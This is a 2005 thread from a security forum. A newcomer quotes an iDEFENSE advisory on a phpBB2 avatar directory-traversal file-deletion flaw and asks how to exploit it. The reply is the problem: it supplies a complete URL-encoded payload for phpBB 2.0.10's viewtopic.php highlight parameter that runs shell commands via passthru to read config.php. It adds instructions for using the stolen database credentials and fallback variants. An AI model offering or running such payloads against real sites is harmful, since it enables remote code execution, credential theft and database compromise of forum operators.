Waraxe IT Security Portal
Login or Register
July 23, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 221
Members: 0
Total: 221
Full disclosure
CyberDanube Security Research 20240722-0 | Multiple Vulnerabilities in Perten/PerkinElmer ProcessPlus
[KIS-2024-06] XenForo <= 2.2.15 (Template System) Remote Code Execution Vulnerability
[KIS-2024-05] XenForo <= 2.2.15 (Widget::actionSave) Cross-Site Request Forgery Vulnerability
CVE-2024-33326
CVE-2024-33327
CVE-2024-33328
CVE-2024-33329
CyberDanube Security Research 20240703-0 | Authenticated Command Injection in Helmholz Industrial Router REX100
SEC Consult SA-20240627-0 :: Local Privilege Escalation via MSI installer in SoftMaker Office / FreeOffice
SEC Consult SA-20240626-0 :: Multiple Vulnerabilities in Siemens Power Automation Products
Novel DoS Vulnerability Affecting WebRTC Media Servers
APPLE-SA-06-25-2024-1 AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8
40 vulnerabilities in Toshiba Multi-Function Printers
17 vulnerabilities in Sharp Multi-Function Printers
SEC Consult SA-20240624-0 :: Multiple Vulnerabilities allowing complete bypass in Faronics WINSelect (Standard + Enterprise)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> Help me Phpbb 2.0.10
Post new topicReply to topic View previous topic :: View next topic
Help me Phpbb 2.0.10
PostPosted: Sun Mar 06, 2005 1:48 pm Reply with quote
Dora
Regular user
Regular user
Joined: Dec 21, 2004
Posts: 10




I read a bug below :

Quote:

phpBB Group phpBB2 Arbitrary File Unlink Vulnerability

iDEFENSE Security Advisory 02.22.05
www.idefense.com/application/poi/display?id=205&type=vulnerabilities
February 22, 2005

I. BACKGROUND

phpBB is an open source bulletin board package written in the PHP web
scripting language. More information about phpBB is available from:

http://www.phpbb.com/

II. DESCRIPTION

Remote exploitation of an input validation vulnerability in the phpBB
Group's phpBB2 bulletin board system allows attackers to unlink (delete)
arbitrary system files under the privileges of the web server.

phpBB is an open-source web-based bulletin board system written in PHP.
The vulnerability specifically exists due to a combination of several
flaws that allows a remote attacker to control the arguments in a call
to unlink().The first flaw occurs in the avatar gallery, where a user is
permitted to specify part of the directory name for the desired avatar.
Directory traversal modifies (ex: "/../") are not properly filtered out,
allowing a user to break out of the default avatar directory. This issue
is realized in lines 68-71 of usercp_avatar.php:

if (
file_exists(@phpbb_realpath($board_config['avatar_gallery_path']
. '/' . $avatar_filename)) && ($mode == 'editprofile') )
{
$return = ", user_avatar = '" . str_replace("/'", "''",
$avatar_filename) . "', user_avatar_type = " .
USER_AVATAR_GALLERY;
}

Avatar's are then composed with the following code excerpt found in line
90 of usercp_viewprofile.php:

$avatar_img = ( $board_config['allow_avatar_local'] ) ? '<img src="'

. $board_config['avatar_gallery_path'] . '/' .
$profiledata['user_avatar'] . '" alt="" border="0" />' : '';

The abused calls to unlink() are made when an avatar is deleted. There
is a guard around these functions requiring that the target avatar to
unlink exist in the avatar_path. This routine is also vulnerable to a
directory traversal attack. By issuing a large number of "/../"
directory traversal modifiers, an attacker is able to delete arbitrary
system files. The vulnerable segment of code shown here is from lines
473-478 of usercp_register.php:

if ( @file_exists(@phpbb_realpath('./' .
$board_config['avatar_path']
. '/' . $userdata['user_avatar'])) )
{
@unlink(@phpbb_realpath('./' . $board_config['avatar_path'] .
'/'
. $userdata['user_avatar']));
}

An attacker can exploit this vulnerability by modifying the
"avatarselect" return value from the gallery to point to the desired
file to delete. The choice must be submitted twice for the attack to be
successful.

III. ANALYSIS

Exploitation of this vulnerability allows remote attackers to unlink
arbitrary system files under the privileges of the underlying web
server. An attacker must have or be able to create an account on the
target system. Non-default settings must be enabled for exploitation to
be possible. An attacker can potentially further compromise the target
system by erasing sensitive files such as .htaccess files that provide
access control rules.

IV. DETECTION

iDEFENSE has confirmed the existence of this vulnerability in phpBB2
version 2.0.11. It is suspected that earlier versions are affected as
well. "Enable gallery avatars" must be enabled for the target to be
vulnerable.

V. WORKAROUND

Disable gallery avatars. This can be done through th phpBB
administrative interface under "General Admin -> Configuration ->
Avatar Settings".

VI. VENDOR RESPONSE

This vulnerability is addressed in phpBB version 2.0.12 available for
download at:

http://www.phpbb.com/downloads.php



I'm a newbie and I do'n understand this much . Who can explaint how to xploit this bug for me . Give me an example . THank a lot !
View user's profile Send private message
PostPosted: Tue Mar 08, 2005 11:33 am Reply with quote
shai-tan
Valuable expert
Valuable expert
Joined: Feb 22, 2005
Posts: 477




If you want to hack a 2.0.10 forum just use this:
viewtopic.php?t=2784&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20tail%20config.php%3B%20
%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%
54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527
That will get the Database Information from config.php.
And then you can use something like phpmyadmin or MySql conrol center to access the database. That is of course if the server you are sploiting has MySql. Razz
And if that doesnt work try cat20%config.php where it has tail20%config.php
Or if that doesnt work go to the "phpbb <= 2.0.12 exploit" thread in this forum and try the new cookie exploit by Heintz.

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
Help me Phpbb 2.0.10
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.108 Seconds